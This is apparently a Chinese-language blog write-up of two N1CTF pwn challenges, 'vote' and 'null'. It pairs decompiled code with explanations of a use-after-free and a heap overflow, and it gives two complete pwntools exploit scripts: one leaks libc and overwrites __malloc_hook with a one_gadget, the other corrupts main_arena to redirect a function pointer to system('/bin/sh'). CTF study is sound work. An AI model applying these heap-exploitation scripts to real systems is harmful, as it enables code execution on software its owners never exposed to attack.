N1ctf pwn
补了一些以前做过的题目还有没解决的一些题目的wp
vote
void create()
{
_QWORD *v0; // ST08_8
signed int i; // [rsp+0h][rbp-20h]
int size; // [rsp+4h][rbp-1Ch]
for ( i = 0; i <= 15; ++i )
{
if ( !heaplst[i] )
{
say("Please enter the name's size: ");
size = getnum();
if ( size > 0 && size <= 0x1000 )
{
v0 = malloc(size + 0x10);
*v0 = 0LL; // count
//
v0[1] = time(0LL);
say("Please enter the name: ");
getinput((__int64)(v0 + 2), size);
heaplst[i] = v0;
}
return;
}
}
}
创建结构体的时候fd和bk字段不可控
unsigned __int64 vote()
{
time_t *v0; // rbx
int v2; // [rsp+Ch][rbp-24h]
pthread_t newthread; // [rsp+10h][rbp-20h]
unsigned __int64 v4; // [rsp+18h][rbp-18h]
v4 = __readfsqword(0x28u);
say("Please enter the index: ");
v2 = getnum();
if ( v2 >= 0 && v2 <= 15 && heaplst[v2] )
{
++*(_QWORD *)heaplst[v2];
v0 = (time_t *)((char *)heaplst[v2] + 8);
*v0 = time(0LL);
last_remainder = v2;
pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, 0LL);// update chout_lst
//
}
return __readfsqword(0x28u) ^ v4;
vote可以改变fd字段
void cancel()
{
int idx; // [rsp+Ch][rbp-4h]
say("Please enter the index: ");
idx = getnum();
if ( idx >= 0 && idx <= 15 && heaplst[idx] )
{
if ( --vote_count[idx] == --*(_QWORD *)heaplst[idx] )
{
if ( vote_count[idx] < 0 )
free(heaplst[idx]); // uaf
}
else if ( vote_count[idx] < 0 )
{
printf("%s", (char *)heaplst[last_remainder] + 16);
fflush(stdout);
say_line(" has freed");
free(heaplst[idx]);
heaplst[idx] = 0LL;
}
}
}
明显的uaf
刚开始一看到uaf、可以泄露地址、输入大小没限制就感觉稳了,后来发现fd和bk字段不可控,本来想这直接暴力的把malloc_hook字段直接用vote写到fd里面去,后来发现好像有点太暴力了,而且时间太长远程应该跑不出来,于是换了个思路,直接在原来堆块name里边伪造一个堆块,然后free掉两个0x70大小的堆块,将第一个的fd指针指向伪造的堆块上,之后就可以愉快的改写malloc_hook了
exp:
from pwn import *
context.log_level = 'debug'
libc = ELF('libc-2.23.so')
io = process('./vote',env={'LD_PRELOAD':libc.path})
def p():
gdb.attach(io)
raw_input()
def choice(c):
io.recvuntil('Action:')
io.sendline(str(c))
def create(size,name):
choice(0)
io.recvuntil('size:')
io.sendline(str(size))
io.recvuntil('name:')
io.sendline(name)
def show(idx):
choice(1)
io.recvuntil('index:')
io.sendline(str(idx))
def vote(idx):
choice(2)
io.recvuntil('index:')
io.sendline(str(idx))
def cancel(idx):
choice(4)
io.recvuntil('index:')
io.sendline(str(idx))
def result():
choice(3)
create(0x70,'A'*0x70)#0
create(0x30,'B'*0x30)#1
cancel(0)
show(0)
io.recvuntil('count: ')
leak = int(io.recvline(keepends = False))
libc_base = leak - 0x10 - 0x58 - libc.symbols['__malloc_hook']
mlh = libc_base + libc.symbols['__malloc_hook']
one = libc_base + 0xf0274
log.success('base:' + hex(libc_base))
log.success('malloc_hook:' + hex(mlh))
log.success('one:' + hex(one))
payload = p64(0) + p64(0x70) + p64(mlh - 0x23)
create(0x70,'E'*0x70)#2
create(0x50,payload)#3
create(0x50,'X'*0x50)#4
cancel(3)
cancel(4)
for i in range(0x20):
vote(4)
create(0x50,'C'*0x40)
create(0x50,'D'*0x40)
create(0x50,'A'*0x3 + p64(one)*2 )
choice(0)
io.recvuntil(':')
io.sendline(str(0x10))
io.interactive()
null
程序没开pie,自己给了一个system
漏洞点在于input函数:
size_t __fastcall getinput(__int64 ptr, size_t len)
{
size_t result; // rax
int v3; // [rsp+1Ch][rbp-14h]
size_t i; // [rsp+20h][rbp-10h]
for ( i = 0LL; ; i += v3 )
{
result = i;
if ( i >= len )
break;
v3 = read(0, (void *)(ptr + i), len);
if ( v3 <= 0 )
{
write(1, "I/O error\n", 0xAuLL);
syscall_e7(1u);
}
}
return result;
}
当输入长度小于len的时候会再次读入,这样就可以造成堆溢出
虽然说是堆的漏洞利用但是没有用到堆的漏洞利用技巧,主要的原因是因为这个程序主程序在线程上运行
if ( pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, 0LL) < 0 )
每次创建线程的堆由mmap分配内存
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000 0x402000 r-xp 2000 0 /pwn/null/null
0x601000 0x602000 r--p 1000 1000 /pwn/null/null
0x602000 0x603000 rw-p 1000 2000 /pwn/null/null
0x1b47000 0x1b68000 rw-p 21000 0 [heap]
0x7ff02e755000 0x7ff02e756000 ---p 1000 0
0x7ff02e756000 0x7ff02ef56000 rw-p 800000 0
--------------------------------------------------------------------------------------------
0x7ff02ef56000 0x7ff02f116000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ff02f116000 0x7ff02f316000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ff02f316000 0x7ff02f31a000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ff02f31a000 0x7ff02f31c000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ff02f31c000 0x7ff02f320000 rw-p 4000 0
0x7ff02f326000 0x7ff02f33e000 r-xp 18000 0 /lib/x86_64-linux-gnu/libpthread-2.23.so
0x7ff02f33e000 0x7ff02f53d000 ---p 1ff000 18000 /lib/x86_64-linux-gnu/libpthread-2.23.so
0x7ff02f53d000 0x7ff02f53e000 r--p 1000 17000 /lib/x86_64-linux-gnu/libpthread-2.23.so
0x7ff02f53e000 0x7ff02f53f000 rw-p 1000 18000 /lib/x86_64-linux-gnu/libpthread-2.23.so
0x7ff02f53f000 0x7ff02f543000 rw-p 4000 0
0x7ff02f546000 0x7ff02f56c000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ff02f768000 0x7ff02f76b000 rw-p 3000 0
0x7ff02f76b000 0x7ff02f76c000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ff02f76c000 0x7ff02f76d000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ff02f76d000 0x7ff02f76f000 rw-p 2000 0
0x7ffc3ae99000 0x7ffc3aeba000 rw-p 21000 0 [stack]
0x7ffc3af0e000 0x7ffc3af10000 r--p 2000 0 [vvar]
0x7ffc3af10000 0x7ffc3af12000 r-xp 2000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
首先会在分割线下边的区域分配那些空闲的内存块,耗尽后才会在上方heap的下方分配内存
这样我们可以将堆块分配到libc上边,然后通过堆溢出将libc中mainarena里的字段改写,这样可以改写一个地址的值,改写的地方是在bss段,那里存储了一个函数的指针,
say_something = (__int64 (__fastcall *)(_QWORD, _QWORD))say;
ssize_t sub_400AF8()
{
return write(1, "data neutralized\n", 0x11uLL);
}
把这个函数改成system,
write(1, "Content? (0/1): ", 0x10uLL);
if ( getnum() )
{
write(1, "Input: ", 7uLL);
getinput((__int64)ptr, size);
say_something(ptr, size);
}
这样调用的时候就是调用system(ptr)
exp:
from pwn import *
io = process('./null')
def p():
gdb.attach(io)
raw_input()
def add (size,pad,content,f = False):
io.recvuntil('Action:')
io.sendline('1')
io.recvuntil('Size:')
io.sendline(str(size))
io.recvuntil('blocks:')
io.sendline(str(pad))
if f:
io.sendlineafter('(0/1): ',str(1))
io.recvuntil('Input: ')
io.send(content)
else:
io.sendlineafter('(0/1): ',str(0))
def main():
io.recvline()
io.sendline('i\'m ready for challenge' )
for i in range(12):
add(0x4000,1000, 'A'*0x4)
add(0x4000,261,'A'*0x4)
add(0x4000,0,'A'*(0x4000-10) + '\n\x00',f = True)
p()
raw_input()
payload = 'S' * 40
payload += p64(0) *2 + p64(0x3ffd000) * 2 \
+ p64(0x300000000) + p64(0x60201d) * 7 #魔术头7f
io.sendline(payload)
pay = '/bin/sh\x00\x00\x00\x00'+p64(0x400978)
pay = pay.ljust(0x60,'\x00')
p()
add(0x60,0,pay,f = True)
p()
io.interactive()
if __name__ == '__main__':
main()
PREVIOUSlinux kernel 爬坑记录
NEXTstarctf note